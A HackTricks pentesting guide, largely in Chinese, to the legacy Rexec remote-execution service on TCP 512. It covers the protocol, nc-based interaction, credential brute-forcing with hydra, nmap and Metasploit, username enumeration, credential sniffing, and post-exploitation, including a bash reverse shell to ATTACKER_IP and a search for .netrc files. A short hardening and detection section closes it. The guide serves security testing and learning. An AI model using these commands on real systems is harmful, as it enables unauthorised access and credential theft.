512 - Pentesting Rexec

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Rexec(remote exec)是最早的 Berkeley r-services 套件之一(与 rloginrsh 等一起)。它提供了远程命令执行能力,仅使用明文用户名和密码进行认证。该协议在 1980 年代早期被定义(参见 RFC 1060),如今被认为是从设计上不安全的。尽管如此,它仍然在一些旧的 UNIX / 网络附加设备上默认启用,并且有时会在内部 pentests 中出现。

默认端口: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 所有流量 – 包括 credentials – 都以未加密方式传输。任何能够 sniff 网络的人都可以恢复 username、password 和 command。

协议速览

  1. Client 连接到 TCP 512。
  2. Client 发送三个 NUL-terminated 字符串:
  • the port number (as ASCII) where it wishes to receive stdout/stderr (often 0),
  • the username,
  • the password.
  1. 发送最后一个带有要执行的 command 的 NUL-terminated 字符串。
  2. server 回复一个单字节(8-bit)状态字节(0 = success,1 = failure),随后是 command 输出。

如果第一个字段为 non-zero,server 会打开一条 second TCP connection back to the client 并用它传输 stderr。对于 manual testing 和对该 service 的 fingerprinting filtering / firewall issues 的排查都很有用。

这意味着你只需 echo -enc 就能重现该交互:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

如果 credentials 有效,你将通过同一 connection 直接收到 id 的输出。

如果你想在专用的 listener 上接收 stderr,请让 server 反向连接回你:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

许多常见实现(例如 GNU rexecd)仍然强制使用 16-byte username/password fields,并且对无效 username 与无效 password 返回 不同的诊断字符串。这在 enumeration 期间很重要,因为某些目标会 leak whether the account exists,在你开始 brute forcing 之前就会暴露出来。

使用客户端的手动方式

许多 Linux 发行版仍会在 inetutils-rexec / rsh-client 包中附带该旧版客户端:

rexec -l user -p password <target> "uname -a"

如果省略 -p,客户端会以交互方式提示输入密码(在网络上传输时以明文可见!)。

为了避免在你的 shell 历史记录 / 进程列表中留下密码,GNU rexec 还支持从 stdin 读取:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

在网络上并不更安全;它只是减少了攻击主机上的本地暴露。


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE 使用上面描述的协议来非常快速地尝试凭证。

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra 有一个专用的 rexec 模块,并且仍然是最快的 offline bruteforcer。 medusa (-M REXEC) 和 ncrack (rexec module) 可以以相同的方式使用。

通过服务器消息进行用户名枚举

某些 rexecd 实现会暴露不同的错误信息,例如 Login incorrect.Password incorrect.。如果你看到这种行为,先验证用户名,然后再 brute force passwords:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

如果响应不同,在进行大规模 password spray 之前,先构建一个有效用户列表。

检查相关的 r-services

rexec 本身使用 密码认证,不同于 rsh / rlogin 的 trusted-host 机制,但在实际中它们通常来自 同一旧版软件包 (openbsd-inetd, inetutils, vendor UNIX bundles)。如果 TCP 512 开放,立即检查 TCP 513514,因为 .rhosts / /etc/hosts.equiv 的滥用可能提供更容易的横向移动:

nmap -sV -p 512,513,514 <target>

另见:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

该模块在成功后会生成一个 shell 并将凭据存储在数据库中。


Sniffing credentials

因为一切都是明文,网络流量捕获非常宝贵。有了流量的拷贝,你可以在不接触目标的情况下提取 creds:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark enable Decode As …​ TCP 512 → REXEC to view nicely-parsed fields.)


Post-Exploitation tips

  • 命令以所提供用户的权限运行。如果 /etc/pam.d/rexec 配置错误(例如 pam_rootok),有时可以获得 root shell。
  • Rexec 忽略用户的 shell 并通过 /bin/sh -c <cmd> 执行命令。因此你可以使用典型的 shell 转义技巧 (;, $( ), backticks) 来串联多个命令或生成 reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • 密码常常存储在 ~/.netrc 或其他系统的遗留自动化脚本中;如果你攻破了一台主机,可能会重用它们进行 lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Hardening / Detection

  • Do not expose rexec; replace it with SSH. 几乎所有现代的 inetd superservers 默认都会注释掉该服务。
  • 如果必须保留,使用 TCP wrappers (/etc/hosts.allow) 或防火墙规则限制访问,并强制使用每个账户的强密码。
  • 监控发往 :512 的流量以及 rexecd 进程的启动。单次数据包捕获就足以检测出被入侵。
  • 一并禁用 rexec, rlogin, rsh —— 它们共享大部分相同的代码库和弱点。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks